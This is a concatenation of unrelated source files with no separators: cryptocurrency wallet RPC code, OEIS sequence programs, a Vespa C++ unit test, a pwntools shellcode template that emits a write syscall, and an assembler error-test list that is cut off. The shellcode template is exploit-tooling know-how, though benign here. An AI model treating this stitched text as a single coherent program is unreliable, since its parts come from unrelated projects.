SecureString::operator=(std::string) // Alternately, find a way to make params[0] mlock()'d to begin with. SecureString strOldWalletPass; strOldWalletPass.reserve(100); strOldWalletPass = params[0].get_str().c_str(); SecureString strNewWalletPass; strNewWalletPass.reserve(100); strNewWalletPass = params[1].get_str().c_str(); if (strOldWalletPass.length() < 1 || strNewWalletPass.length() < 1) throw runtime_error( "walletpassphrasechange <oldpassphrase> <newpassphrase>\n" "Changes the wallet passphrase from <oldpassphrase> to <newpassphrase>."); if (!pwalletMain->ChangeWalletPassphrase(strOldWalletPass, strNewWalletPass)) throw JSONRPCError(RPC_WALLET_PASSPHRASE_INCORRECT, "Error: The wallet passphrase entered was incorrect."); return Value::null; } Value walletlock(const Array& params, bool fHelp) { if (pwalletMain->IsCrypted() && (fHelp || params.size() != 0)) throw runtime_error( "walletlock\n" "Removes the wallet encryption key from memory, locking the wallet.\n" "After calling this method, you will need to call walletpassphrase again\n" "before being able to call any methods which require the wallet to be unlocked."); if (fHelp) return true; if (!pwalletMain->IsCrypted()) throw JSONRPCError(RPC_WALLET_WRONG_ENC_STATE, "Error: running with an unencrypted wallet, but walletlock was called."); { LOCK(cs_nWalletUnlockTime); pwalletMain->Lock(); nWalletUnlockTime = 0; } return Value::null; } Value encryptwallet(const Array& params, bool fHelp) { if (!pwalletMain->IsCrypted() && (fHelp || params.size() != 1)) throw runtime_error( "encryptwallet <passphrase>\n" "Encrypts the wallet with <passphrase>."); if (fHelp) return true; if (pwalletMain->IsCrypted()) throw JSONRPCError(RPC_WALLET_WRONG_ENC_STATE, "Error: running with an encrypted wallet, but encryptwallet was called."); // TODO: get rid of this .c_str() by implementing SecureString::operator=(std::string) // Alternately, find a way to make params[0] mlock()'d to begin with. SecureString strWalletPass; strWalletPass.reserve(100); strWalletPass = params[0].get_str().c_str(); if (strWalletPass.length() < 1) throw runtime_error( "encryptwallet <passphrase>\n" "Encrypts the wallet with <passphrase>."); if (!pwalletMain->EncryptWallet(strWalletPass)) throw JSONRPCError(RPC_WALLET_ENCRYPTION_FAILED, "Error: Failed to encrypt the wallet."); // BDB seems to have a bad habit of writing old data into // slack space in .dat files; that is bad if the old data is // unencrypted private keys. So: StartShutdown(); return "wallet encrypted; BattlestarCoin server stopping, restart to run with encrypted wallet. The keypool has been flushed, you need to make a new backup."; } // ppcoin: reserve balance from being staked for network protection Value reservebalance(const Array& params, bool fHelp) { if (fHelp || params.size() > 2) throw runtime_error( "reservebalance [<reserve> [amount]]\n" "<reserve> is true or false to turn balance reserve on or off.\n" "<amount> is a real and rounded to cent.\n" "Set reserve amount not participating in network protection.\n" "If no parameters provided current setting is printed.\n"); if (params.size() > 0) { bool fReserve = params[0].get_bool(); if (fReserve) { if (params.size() == 1) throw runtime_error("must provide amount to reserve balance.\n"); int64_t nAmount = AmountFromValue(params[1]); nAmount = (nAmount / CENT) * CENT; // round to cent if (nAmount < 0) throw runtime_error("amount cannot be negative.\n"); nReserveBalance = nAmount; } else { if (params.size() > 1) throw runtime_error("cannot specify amount to turn off reserve.\n"); nReserveBalance = 0; } } Object result; result.push_back(Pair("reserve", (nReserveBalance > 0))); result.push_back(Pair("amount", ValueFromAmount(nReserveBalance))); return result; } // ppcoin: check wallet integrity Value checkwallet(const Array& params, bool fHelp) { if (fHelp || params.size() > 0) throw runtime_error( "checkwallet\n" "Check wallet for integrity.\n"); int nMismatchSpent; int64_t nBalanceInQuestion; pwalletMain->FixSpentCoins(nMismatchSpent, nBalanceInQuestion, true); Object result; if (nMismatchSpent == 0) result.push_back(Pair("wallet check passed", true)); else { result.push_back(Pair("mismatched spent coins", nMismatchSpent)); result.push_back(Pair("amount in question", ValueFromAmount(nBalanceInQuestion))); } return result; } // ppcoin: repair wallet Value repairwallet(const Array& params, bool fHelp) { if (fHelp || params.size() > 0) throw runtime_error( "repairwallet\n" "Repair wallet if checkwallet reports any problem.\n"); int nMismatchSpent; int64_t nBalanceInQuestion; pwalletMain->FixSpentCoins(nMismatchSpent, nBalanceInQuestion); Object result; if (nMismatchSpent == 0) result.push_back(Pair("wallet check passed", true)); else { result.push_back(Pair("mismatched spent coins", nMismatchSpent)); result.push_back(Pair("amount affected by repair", ValueFromAmount(nBalanceInQuestion))); } return result; } // NovaCoin: resend unconfirmed wallet transactions Value resendtx(const Array& params, bool fHelp) { if (fHelp || params.size() > 1) throw runtime_error( "resendtx\n" "Re-send unconfirmed transactions.\n" ); ResendWalletTransactions(true); return Value::null; } // ppcoin: make a public-private key pair Value makekeypair(const Array& params, bool fHelp) { if (fHelp || params.size() > 1) throw runtime_error( "makekeypair [prefix]\n" "Make a public/private key pair.\n" "[prefix] is optional preferred prefix for the public key.\n"); string strPrefix = ""; if (params.size() > 0) strPrefix = params[0].get_str(); CKey key; key.MakeNewKey(false); CPrivKey vchPrivKey = key.GetPrivKey(); Object result; result.push_back(Pair("PrivateKey", HexStr<CPrivKey::iterator>(vchPrivKey.begin(), vchPrivKey.end()))); result.push_back(Pair("PublicKey", HexStr(key.GetPubKey()))); return result; } Value settxfee(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 1 || AmountFromValue(params[0]) < MIN_TX_FEE) throw runtime_error( "settxfee <amount>\n" "<amount> is a real and is rounded to the nearest 0.01"); nTransactionFee = AmountFromValue(params[0]); nTransactionFee = (nTransactionFee / CENT) * CENT; // round to cent return true; }
; A007879: Chimes made by clock striking the hour and half-hour. ; 1,1,1,2,1,3,1,4,1,5,1,6,1,7,1,8,1,9,1,10,1,11,1,12,1,1,1,2,1,3,1,4,1,5,1,6,1,7,1,8,1,9,1,10,1,11,1,12,1,1,1,2,1,3,1,4,1,5,1,6,1,7,1,8,1,9,1,10,1,11,1,12 mov $1,$0 mod $0,2 mul $1,$0 div $1,2 mov $0,$1 mod $0,12 add $0,1
// Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #include <vespa/vespalib/gtest/gtest.h> #include <vespa/searchcore/proton/matching/unpacking_iterators_optimizer.h> #include <vespa/searchcore/proton/matching/querynodes.h> #include <vespa/searchlib/query/tree/querybuilder.h> #include <vespa/vespalib/data/smart_buffer.h> #include <vespa/vespalib/data/output_writer.h> #include <vespa/vespalib/util/size_literals.h> #include <string> using namespace proton::matching; using namespace search::query; using vespalib::SmartBuffer; using vespalib::OutputWriter; struct DumpQuery : QueryVisitor { OutputWriter &out; int indent; DumpQuery(OutputWriter &out_in, int indent_in) : out(out_in), indent(indent_in) {} void visit_children(Intermediate &self) { DumpQuery sub_dump(out, indent + 2); for (Node *node: self.getChildren()) { node->accept(sub_dump); } } void visit(And &n) override { out.printf("%*s%s %zu\n", indent, "", "And", n.getChildren().size()); visit_children(n); } void visit(AndNot &) override {} void visit(Equiv &) override {} void visit(NumberTerm &) override {} void visit(LocationTerm &) override {} void visit(Near &) override {} void visit(ONear &) override {} void visit(Or &n) override { out.printf("%*s%s %zu\n", indent, "", "Or", n.getChildren().size()); visit_children(n); } void visit(Phrase &n) override { out.printf("%*s%s %zu%s\n", indent, "", "Phrase", n.getChildren().size(), n.is_expensive() ? " expensive" : ""); visit_children(n); } void visit(SameElement &n) override { out.printf("%*s%s %zu%s\n", indent, "", "SameElement", n.getChildren().size(), n.is_expensive() ? " expensive" : ""); visit_children(n); } void visit(PrefixTerm &) override {} void visit(RangeTerm &) override {} void visit(Rank &) override {} void visit(StringTerm &n) override { out.printf("%*s%s %s%s%s\n", indent, "", "Term", n.getTerm().c_str(), (!n.isRanked() && !n.usePositionData()) ? " cheap" : "", (n.isRanked() != n.usePositionData()) ? " BAD" : ""); } void visit(SubstringTerm &) override {} void visit(SuffixTerm &) override {} void visit(WeakAnd &) override {} void visit(WeightedSetTerm &) override {} void visit(DotProduct &) override {} void visit(WandTerm &) override {} void visit(PredicateQuery &) override {} void visit(RegExpTerm &) override {} void visit(NearestNeighborTerm &) override {} void visit(TrueQueryNode &) override {} void visit(FalseQueryNode &) override {} }; std::string dump_query(Node &root) { SmartBuffer buffer(4_Ki); { OutputWriter writer(buffer, 1024); DumpQuery dumper(writer, 0); root.accept(dumper); } auto mem = buffer.obtain(); return std::string(mem.data, mem.size); } namespace { std::string view("view"); uint32_t id(5); Weight weight(7); } void add_phrase(QueryBuilder<ProtonNodeTypes> &builder) { builder.addPhrase(3, view, id, weight); { builder.addStringTerm("a", view, id, weight); builder.addStringTerm("b", view, id, weight); builder.addStringTerm("c", view, id, weight); } } void add_same_element(QueryBuilder<ProtonNodeTypes> &builder) { builder.addSameElement(2, view); { builder.addStringTerm("x", view, id, weight); builder.addStringTerm("y", view, id, weight); } } Node::UP make_phrase() { QueryBuilder<ProtonNodeTypes> builder; add_phrase(builder); return builder.build(); } Node::UP make_same_element() { QueryBuilder<ProtonNodeTypes> builder; add_same_element(builder); return builder.build(); } Node::UP make_query_tree() { QueryBuilder<ProtonNodeTypes> builder; builder.addAnd(4); builder.addOr(3); builder.addStringTerm("t2", view, id, weight); add_phrase(builder); add_same_element(builder); add_same_element(builder); add_phrase(builder); builder.addStringTerm("t1", view, id, weight); return builder.build(); } //----------------------------------------------------------------------------- std::string plain_phrase_dump = "Phrase 3\n" " Term a\n" " Term b\n" " Term c\n"; std::string delayed_phrase_dump = "Phrase 3 expensive\n" " Term a\n" " Term b\n" " Term c\n"; std::string split_phrase_dump = "And 4\n" " Phrase 3 expensive\n" " Term a\n" " Term b\n" " Term c\n" " Term a cheap\n" " Term b cheap\n" " Term c cheap\n"; //----------------------------------------------------------------------------- std::string plain_same_element_dump = "SameElement 2\n" " Term x\n" " Term y\n"; std::string delayed_same_element_dump = "SameElement 2 expensive\n" " Term x\n" " Term y\n"; std::string split_same_element_dump = "And 3\n" " SameElement 2 expensive\n" " Term x\n" " Term y\n" " Term x cheap\n" " Term y cheap\n"; //----------------------------------------------------------------------------- std::string plain_query_tree_dump = "And 4\n" " Or 3\n" " Term t2\n" " Phrase 3\n" " Term a\n" " Term b\n" " Term c\n" " SameElement 2\n" " Term x\n" " Term y\n" " SameElement 2\n" " Term x\n" " Term y\n" " Phrase 3\n" " Term a\n" " Term b\n" " Term c\n" " Term t1\n"; std::string delayed_query_tree_dump = "And 4\n" " Or 3\n" " Term t2\n" " Phrase 3 expensive\n" " Term a\n" " Term b\n" " Term c\n" " SameElement 2 expensive\n" " Term x\n" " Term y\n" " SameElement 2 expensive\n" " Term x\n" " Term y\n" " Phrase 3 expensive\n" " Term a\n" " Term b\n" " Term c\n" " Term t1\n"; std::string split_query_tree_dump = "And 9\n" " Or 3\n" " Term t2\n" " Phrase 3\n" " Term a\n" " Term b\n" " Term c\n" " SameElement 2\n" " Term x\n" " Term y\n" " SameElement 2 expensive\n" " Term x\n" " Term y\n" " Phrase 3 expensive\n" " Term a\n" " Term b\n" " Term c\n" " Term t1\n" " Term x cheap\n" " Term y cheap\n" " Term a cheap\n" " Term b cheap\n" " Term c cheap\n"; std::string delayed_split_query_tree_dump = "And 9\n" " Or 3\n" " Term t2\n" " Phrase 3 expensive\n" " Term a\n" " Term b\n" " Term c\n" " SameElement 2 expensive\n" " Term x\n" " Term y\n" " SameElement 2 expensive\n" " Term x\n" " Term y\n" " Phrase 3 expensive\n" " Term a\n" " Term b\n" " Term c\n" " Term t1\n" " Term x cheap\n" " Term y cheap\n" " Term a cheap\n" " Term b cheap\n" " Term c cheap\n"; //----------------------------------------------------------------------------- Node::UP optimize(Node::UP root, bool white_list, bool split, bool delay) { return UnpackingIteratorsOptimizer::optimize(std::move(root), white_list, split, delay); } TEST(UnpackingIteratorsOptimizerTest, require_that_root_phrase_node_can_be_left_alone) { std::string actual1 = dump_query(*optimize(make_phrase(), false, false, false)); std::string actual2 = dump_query(*optimize(make_phrase(), false, true, false)); std::string actual3 = dump_query(*optimize(make_phrase(), true, false, false)); std::string expect = plain_phrase_dump; EXPECT_EQ(actual1, expect); EXPECT_EQ(actual2, expect); EXPECT_EQ(actual3, expect); } TEST(UnpackingIteratorsOptimizerTest, require_that_root_phrase_node_can_be_delayed) { std::string actual1 = dump_query(*optimize(make_phrase(), false, false, true)); std::string actual2 = dump_query(*optimize(make_phrase(), false, true, true)); std::string actual3 = dump_query(*optimize(make_phrase(), true, false, true)); std::string expect = delayed_phrase_dump; EXPECT_EQ(actual1, expect); EXPECT_EQ(actual2, expect); EXPECT_EQ(actual3, expect); } TEST(UnpackingIteratorsOptimizerTest, require_that_root_phrase_node_can_be_split) { std::string actual1 = dump_query(*optimize(make_phrase(), true, true, true)); std::string actual2 = dump_query(*optimize(make_phrase(), true, true, false)); std::string expect = split_phrase_dump; EXPECT_EQ(actual1, expect); EXPECT_EQ(actual2, expect); } //----------------------------------------------------------------------------- TEST(UnpackingIteratorsOptimizerTest, require_that_root_same_element_node_can_be_left_alone) { std::string actual1 = dump_query(*optimize(make_same_element(), false, false, false)); std::string actual2 = dump_query(*optimize(make_same_element(), false, true, false)); std::string actual3 = dump_query(*optimize(make_same_element(), true, false, false)); std::string expect = plain_same_element_dump; EXPECT_EQ(actual1, expect); EXPECT_EQ(actual2, expect); EXPECT_EQ(actual3, expect); } TEST(UnpackingIteratorsOptimizerTest, require_that_root_same_element_node_can_be_delayed) { std::string actual1 = dump_query(*optimize(make_same_element(), false, false, true)); std::string actual2 = dump_query(*optimize(make_same_element(), false, true, true)); std::string actual3 = dump_query(*optimize(make_same_element(), true, false, true)); std::string expect = delayed_same_element_dump; EXPECT_EQ(actual1, expect); EXPECT_EQ(actual2, expect); EXPECT_EQ(actual3, expect); } TEST(UnpackingIteratorsOptimizerTest, require_that_root_same_element_node_can_be_split) { std::string actual1 = dump_query(*optimize(make_same_element(), true, true, true)); std::string actual2 = dump_query(*optimize(make_same_element(), true, true, false)); std::string expect = split_same_element_dump; EXPECT_EQ(actual1, expect); EXPECT_EQ(actual2, expect); } //----------------------------------------------------------------------------- TEST(UnpackingIteratorsOptimizerTest, require_that_query_tree_can_be_left_alone) { std::string actual1 = dump_query(*optimize(make_query_tree(), false, false, false)); std::string actual2 = dump_query(*optimize(make_query_tree(), true, false, false)); std::string expect = plain_query_tree_dump; EXPECT_EQ(actual1, expect); EXPECT_EQ(actual2, expect); } TEST(UnpackingIteratorsOptimizerTest, require_that_query_tree_can_be_delayed) { std::string actual1 = dump_query(*optimize(make_query_tree(), false, false, true)); std::string actual2 = dump_query(*optimize(make_query_tree(), true, false, true)); std::string expect = delayed_query_tree_dump; EXPECT_EQ(actual1, expect); EXPECT_EQ(actual2, expect); } TEST(UnpackingIteratorsOptimizerTest, require_that_query_tree_can_be_split) { std::string actual1 = dump_query(*optimize(make_query_tree(), false, true, false)); std::string actual2 = dump_query(*optimize(make_query_tree(), true, true, false)); std::string expect = split_query_tree_dump; EXPECT_EQ(actual1, expect); EXPECT_EQ(actual2, expect); } TEST(UnpackingIteratorsOptimizerTest, require_that_query_tree_can_be_delayed_and_split) { std::string actual1 = dump_query(*optimize(make_query_tree(), false, true, true)); std::string actual2 = dump_query(*optimize(make_query_tree(), true, true, true)); std::string expect = delayed_split_query_tree_dump; EXPECT_EQ(actual1, expect); EXPECT_EQ(actual2, expect); } GTEST_MAIN_RUN_ALL_TESTS()
<% from pwnlib.shellcraft import thumb %> <%page args="string, sock='1'"/> <%docstring> Writes a string to a file descriptor Example: >>> run_assembly(shellcraft.echo('hello\n', 1)).recvline() b'hello\n' </%docstring> ${thumb.pushstr(string, append_null=False)} ${thumb.linux.syscall('SYS_write', sock, 'sp', len(string))}
; A289203: Number of maximum independent vertex sets in the n X n knight graph. ; 1,1,2,6,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2 lpb $0 sub $0,1 pow $0,2 add $1,$0 trn $0,2 lpe gcd $0,2 sub $1,$0 add $1,3 mov $0,$1
global main:function (main.end - main) ; ------------------------------------------- section .text ; ------------------------------------------- main: mov rdi, 3 mov rax, 60 syscall .end:
; double __FASTCALL__ cosh(double x) SECTION code_fp_math48 PUBLIC cm48_sccz80_cosh EXTERN am48_cosh defc cm48_sccz80_cosh = am48_cosh
; void sms_cls_wc(struct r_Rect8 *r, unsigned int background) SECTION code_clib SECTION code_arch PUBLIC _sms_cls_wc_callee PUBLIC _sms_cls_wc_callee_0 EXTERN asm_sms_cls_wc _sms_cls_wc_callee: pop hl pop bc ex (sp),hl _sms_cls_wc_callee_0: push bc ex (sp),ix call asm_sms_cls_wc pop ix ret
; A094218: Number of permutations of length n with exactly 2 occurrences of the pattern 2-13. ; 0,0,0,2,25,198,1274,7280,38556,193800,937992,4412826,20309575,91861770,409704750,1806342720,7887861960,34166674800,146977222320,628521016500,2673950235138,11324837666604,47773836727540,200828153398752,841593075785000,3516940955244080,14660054772657840,60970443846161850,253051096679953299,1048292497558552050,4335234885317804566,17900324687763838208,73804431676570554960,303896908145334536032,1249787678732272741600,5133949243135214669244,21067236819873694193982,86364666045587140631700,353725147517434137064620,1447515496186340162036000,5918773497784632516606120,24183163067412056036762160,98738649195693133479274800,402876651194985122533459620,1642799322630349647237267750,6694833150654171569807816484,27267916452961816149935732172,111002855847795758051218811520,451646263423900920035896358256,1836774954770374933597626420000,7466500849410170451543985426080,30338324062951175781985563564840,123222024714907248079232863004100,500283023752083803353254444393432,2030400403809015325143727110983400,8237462225691177140107585459497408,33408567552843242694618870165298704,135450737214078442944101281856122080,548997063246636075105187219689663456 add $0,1 mov $2,$0 mul $0,2 add $2,4 mov $3,$0 bin $0,$2 mul $0,$3 div $0,4
architecture wdc65816-strict include "../../../src/common/assert.inc" constant a = 0x802000 assertZeroPage(a) // ERROR
; A049453: Second pentagonal numbers with even index: a(n) = n*(6*n+1). ; 0,7,26,57,100,155,222,301,392,495,610,737,876,1027,1190,1365,1552,1751,1962,2185,2420,2667,2926,3197,3480,3775,4082,4401,4732,5075,5430,5797,6176,6567,6970,7385,7812,8251,8702,9165,9640,10127,10626,11137,11660,12195,12742,13301,13872,14455,15050,15657,16276,16907,17550,18205,18872,19551,20242,20945,21660,22387,23126,23877,24640,25415,26202,27001,27812,28635,29470,30317,31176,32047,32930,33825,34732,35651,36582,37525,38480,39447,40426,41417,42420,43435,44462,45501,46552,47615,48690,49777,50876 mov $1,6 mul $1,$0 add $1,1 mul $1,$0 mov $0,$1
#include "PlayGameScreen.h"
; A274766: Multiplication of pair of contiguous repunits, i.e., (0*1, 1*11, 11*111, 111*1111, 1111*11111, ...). ; 0,11,1221,123321,12344321,1234554321,123456654321,12345677654321,1234567887654321,123456789987654321,12345679010987654321,1234567901220987654321,123456790123320987654321,12345679012344320987654321,1234567901234554320987654321,123456790123456654320987654321,12345679012345677654320987654321,1234567901234567887654320987654321,123456790123456789987654320987654321,12345679012345679010987654320987654321,1234567901234567901220987654320987654321,123456790123456790123320987654320987654321 add $0,1 mov $1,10 pow $1,$0 sub $1,5 bin $1,2 div $1,45 mul $1,1000 div $1,9000 mov $0,$1
adc a, ixh ; Error adc a, ixl ; Error adc a, iyh ; Error adc a, iyl ; Error adc ixh ; Error adc ixl ; Error adc iyh ; Error adc iyl ; Error add a, ixh ; Error add a, ixl ; Error add a, iyh ; Error add a, iyl ; Error add ixh ; Error add ixl ; Error add iyh ; Error add iyl ; Error adi hl, -128 ; Error adi hl, 127 ; Error adi hl, 255 ; Error adi sp, -128 ; Error adi sp, 127 ; Error adi sp, 255 ; Error altd bit -1, (hl) ; Error altd bit -1, (hl) ; Error altd bit -1, (ix) ; Error altd bit -1, (ix) ; Error altd bit -1, (ix+127) ; Error altd bit -1, (ix+127) ; Error altd bit -1, (ix-128) ; Error altd bit -1, (ix-128) ; Error altd bit -1, (iy) ; Error altd bit -1, (iy) ; Error altd bit -1, (iy+127) ; Error altd bit -1, (iy+127) ; Error altd bit -1, (iy-128) ; Error altd bit -1, (iy-128) ; Error altd bit -1, a ; Error altd bit -1, a ; Error altd bit -1, b ; Error altd bit -1, b ; Error altd bit -1, c ; Error altd bit -1, c ; Error altd bit -1, d ; Error altd bit -1, d ; Error altd bit -1, e ; Error altd bit -1, e ; Error altd bit -1, h ; Error altd bit -1, h ; Error altd bit -1, l ; Error altd bit -1, l ; Error altd bit 8, (hl) ; Error altd bit 8, (hl) ; Error altd bit 8, (ix) ; Error altd bit 8, (ix) ; Error altd bit 8, (ix+127) ; Error altd bit 8, (ix+127) ; Error altd bit 8, (ix-128) ; Error altd bit 8, (ix-128) ; Error altd bit 8, (iy) ; Error altd bit 8, (iy) ; Error altd bit 8, (iy+127) ; Error altd bit 8, (iy+127) ; Error altd bit 8, (iy-128) ; Error altd bit 8, (iy-128) ; Error altd bit 8, a ; Error altd bit 8, a ; Error altd bit 8, b ; Error altd bit 8, b ; Error altd bit 8, c ; Error altd bit 8, c ; Error altd bit 8, d ; Error altd bit 8, d ; Error altd bit 8, e ; Error altd bit 8, e ; Error altd bit 8, h ; Error altd bit 8, h ; Error altd bit 8, l ; Error altd bit 8, l ; Error altd ioe bit -1, (hl) ; Error altd ioe bit -1, (hl) ; Error altd ioe bit -1, (ix) ; Error altd ioe bit -1, (ix) ; Error altd ioe bit -1, (ix+127) ; Error altd ioe bit -1, (ix+127) ; Error altd ioe bit -1, (ix-128) ; Error altd ioe bit -1, (ix-128) ; Error altd ioe bit -1, (iy) ; Error altd ioe bit -1, (iy) ; Error altd ioe bit -1, (iy+127) ; Error altd ioe bit -1, (iy+127) ; Error altd ioe bit -1, (iy-128) ; Error altd ioe bit -1, (iy-128) ; Error altd ioe bit 8, (hl) ; Error altd ioe bit 8, (hl) ; Error altd ioe bit 8, (ix) ; Error altd ioe bit 8, (ix) ; Error altd ioe bit 8, (ix+127) ; Error altd ioe bit 8, (ix+127) ; Error altd ioe bit 8, (ix-128) ; Error altd ioe bit 8, (ix-128) ; Error altd ioe bit 8, (iy) ; Error altd ioe bit 8, (iy) ; Error altd ioe bit 8, (iy+127) ; Error altd ioe bit 8, (iy+127) ; Error altd ioe bit 8, (iy-128) ; Error altd ioe bit 8, (iy-128) ; Error altd ioi bit -1, (hl) ; Error altd ioi bit -1, (hl) ; Error altd ioi bit -1, (ix) ; Error altd ioi bit -1, (ix) ; Error altd ioi bit -1, (ix+127) ; Error altd ioi bit -1, (ix+127) ; Error altd ioi bit -1, (ix-128) ; Error altd ioi bit -1, (ix-128) ; Error altd ioi bit -1, (iy) ; Error altd ioi bit -1, (iy) ; Error altd ioi bit -1, (iy+127) ; Error altd ioi bit -1, (iy+127) ; Error altd ioi bit -1, (iy-128) ; Error altd ioi bit -1, (iy-128) ; Error altd ioi bit 8, (hl) ; Error altd ioi bit 8, (hl) ; Error altd ioi bit 8, (ix) ; Error altd ioi bit 8, (ix) ; Error altd ioi bit 8, (ix+127) ; Error altd ioi bit 8, (ix+127) ; Error altd ioi bit 8, (ix-128) ; Error altd ioi bit 8, (ix-128) ; Error altd ioi bit 8, (iy) ; Error altd ioi bit 8, (iy) ; Error altd ioi bit 8, (iy+127) ; Error altd ioi bit 8, (iy+127) ; Error altd ioi bit 8, (iy-128) ; Error altd ioi bit 8, (iy-128) ; Error altd res -1, a ; Error altd res -1, a ; Error altd res -1, b ; Error altd res -1, b ; Error altd res -1, c ; Error altd res -1, c ; Error altd res -1, d ; Error altd res -1, d ; Error altd res -1, e ; Error altd res -1, e ; Error altd res -1, h ; Error altd res -1, h ; Error altd res -1, l ; Error altd res -1, l ; Error altd res 8, a ; Error altd res 8, a ; Error altd res 8, b ; Error altd res 8, b ; Error altd res 8, c ; Error altd res 8, c ; Error altd res 8, d ; Error altd res 8, d ; Error altd res 8, e ; Error altd res 8, e ; Error altd res 8, h ; Error altd res 8, h ; Error altd res 8, l ; Error altd res 8, l ; Error altd set -1, a ; Error altd set -1, a ; Error altd set -1, b ; Error altd set -1, b ; Error altd set -1, c ; Error altd set -1, c ; Error altd set -1, d ; Error altd set -1, d ; Error altd set -1, e ; Error altd set -1, e ; Error altd set -1, h ; Error altd set -1, h ; Error altd set -1, l ; Error altd set -1, l ; Error altd set 8, a ; Error altd set 8, a ; Error altd set 8, b ; Error altd set 8, b ; Error altd set 8, c ; Error altd set 8, c ; Error altd set 8, d ; Error altd set 8, d ; Error altd set 8, e ; Error altd set 8, e ; Error altd set 8, h ; Error altd set 8, h ; Error altd set 8, l ; Error altd set 8, l ; Error and a, ixh ; Error and a, ixl ; Error and a, iyh ; Error and a, iyl ; Error and ixh ; Error and ixl ; Error and iyh ; Error and iyl ; Error bit -1, (hl) ; Error bit -1, (hl) ; Error bit -1, (ix) ; Error bit -1, (ix) ; Error bit -1, (ix+127) ; Error bit -1, (ix+127) ; Error bit -1, (ix-128) ; Error bit -1, (ix-128) ; Error bit -1, (iy) ; Error bit -1, (iy) ; Error bit -1, (iy+127) ; Error bit -1, (iy+127) ; Error bit -1, (iy-128) ; Error bit -1, (iy-128) ; Error bit -1, a ; Error bit -1, a ; Error bit -1, b ; Error bit -1, b ; Error bit -1, c ; Error bit -1, c ; Error bit -1, d ; Error bit -1, d ; Error bit -1, e ; Error bit -1, e ; Error bit -1, h ; Error bit -1, h ; Error bit -1, l ; Error bit -1, l ; Error bit 8, (hl) ; Error bit 8, (hl) ; Error bit 8, (ix) ; Error bit 8, (ix) ; Error bit 8, (ix+127) ; Error bit 8, (ix+127) ; Error bit 8, (ix-128) ; Error bit 8, (ix-128) ; Error bit 8, (iy) ; Error bit 8, (iy) ; Error bit 8, (iy+127) ; Error bit 8, (iy+127) ; Error bit 8, (iy-128) ; Error bit 8, (iy-128) ; Error bit 8, a ; Error bit 8, a ; Error bit 8, b ; Error bit 8, b ; Error bit 8, c ; Error bit 8, c ; Error bit 8, d ; Error bit 8, d ; Error bit 8, e ; Error bit 8, e ; Error bit 8, h ; Error bit 8, h ; Error bit 8, l ; Error bit 8, l ; Error brlc de,b ; Error bsla de,b ; Error bsra de,b ; Error bsrf de,b ; Error bsrl de,b ; Error cmp a, ixh ; Error cmp a, ixl ; Error cmp a, iyh ; Error cmp a, iyl ; Error cmp ixh ; Error cmp ixl ; Error cmp iyh ; Error cmp iyl ; Error cp a, ixh ; Error cp a, ixl ; Error cp a, iyh ; Error cp a, iyl ; Error cp ixh ; Error cp ixl ; Error cp iyh ; Error cp iyl ; Error dec ixh ; Error dec ixl ; Error dec iyh ; Error dec iyl ; Error di ; Error ei ; Error halt ; Error hlt ; Error im -1 ; Error im -1 ; Error im 0 ; Error im 1 ; Error im 2 ; Error im 3 ; Error im 3 ; Error in (c) ; Error in -128 ; Error in 127 ; Error in 255 ; Error in a, (-128) ; Error in a, (127) ; Error in a, (255) ; Error in a, (c) ; Error in b, (c) ; Error in c, (c) ; Error in d, (c) ; Error in e, (c) ; Error in f, (c) ; Error in h, (c) ; Error in l, (c) ; Error in0 (-128) ; Error in0 (127) ; Error in0 (255) ; Error in0 a, (-128) ; Error in0 a, (127) ; Error in0 a, (255) ; Error in0 b, (-128) ; Error in0 b, (127) ; Error in0 b, (255) ; Error in0 c, (-128) ; Error in0 c, (127) ; Error in0 c, (255) ; Error in0 d, (-128) ; Error in0 d, (127) ; Error in0 d, (255) ; Error in0 e, (-128) ; Error in0 e, (127) ; Error in0 e, (255) ; Error in0 f, (-128) ; Error in0 f, (127) ; Error in0 f, (255) ; Error in0 h, (-128) ; Error in0 h, (127) ; Error in0 h, (255) ; Error in0 l, (-128) ; Error in0 l, (127) ; Error in0 l, (255) ; Error inc ixh ; Error inc ixl ; Error inc iyh ; Error inc iyl ; Error ind ; Error indr ; Error ini ; Error inir ; Error ioe altd bit -1, (hl) ; Error ioe altd bit -1, (hl) ; Error ioe altd bit -1, (ix) ; Error ioe altd bit -1, (ix) ; Error ioe altd bit -1, (ix+127) ; Error ioe altd bit -1, (ix+127) ; Error ioe altd bit -1, (ix-128) ; Error ioe altd bit -1, (ix-128) ; Error ioe altd bit -1, (iy) ; Error ioe altd bit -1, (iy) ; Error ioe altd bit -1, (iy+127) ; Error ioe altd bit -1, (iy+127) ; Error ioe altd bit -1, (iy-128) ; Error ioe altd bit -1, (iy-128) ; Error ioe altd bit 8, (hl) ; Error ioe altd bit 8, (hl) ; Error ioe altd bit 8, (ix) ; Error ioe altd bit 8, (ix) ; Error ioe altd bit 8, (ix+127) ; Error ioe altd bit 8, (ix+127) ; Error ioe altd bit 8, (ix-128) ; Error ioe altd bit 8, (ix-128) ; Error ioe altd bit 8, (iy) ; Error ioe altd bit 8, (iy) ; Error ioe altd bit 8, (iy+127) ; Error ioe altd bit 8, (iy+127) ; Error ioe altd bit 8, (iy-128) ; Error ioe altd bit 8, (iy-128) ; Error ioe bit -1, (hl) ; Error ioe bit -1, (hl) ; Error ioe bit -1, (ix) ; Error ioe bit -1, (ix) ; Error ioe bit -1, (ix+127) ; Error ioe bit -1, (ix+127) ; Error ioe bit -1, (ix-128) ; Error ioe bit -1, (ix-128) ; Error ioe bit -1, (iy) ; Error ioe bit -1, (iy) ; Error ioe bit -1, (iy+127) ; Error ioe bit -1, (iy+127) ; Error ioe bit -1, (iy-128) ; Error ioe bit -1, (iy-128) ; Error ioe bit 8, (hl) ; Error ioe bit 8, (hl) ; Error ioe bit 8, (ix) ; Error ioe bit 8, (ix) ; Error ioe bit 8, (ix+127) ; Error ioe bit 8, (ix+127) ; Error ioe bit 8, (ix-128) ; Error ioe bit 8, (ix-128) ; Error ioe bit 8, (iy) ; Error ioe bit 8, (iy) ; Error ioe bit 8, (iy+127) ; Error ioe bit 8, (iy+127) ; Error ioe bit 8, (iy-128) ; Error ioe bit 8, (iy-128) ; Error ioe res -1, (hl) ; Error ioe res -1, (hl) ; Error ioe res 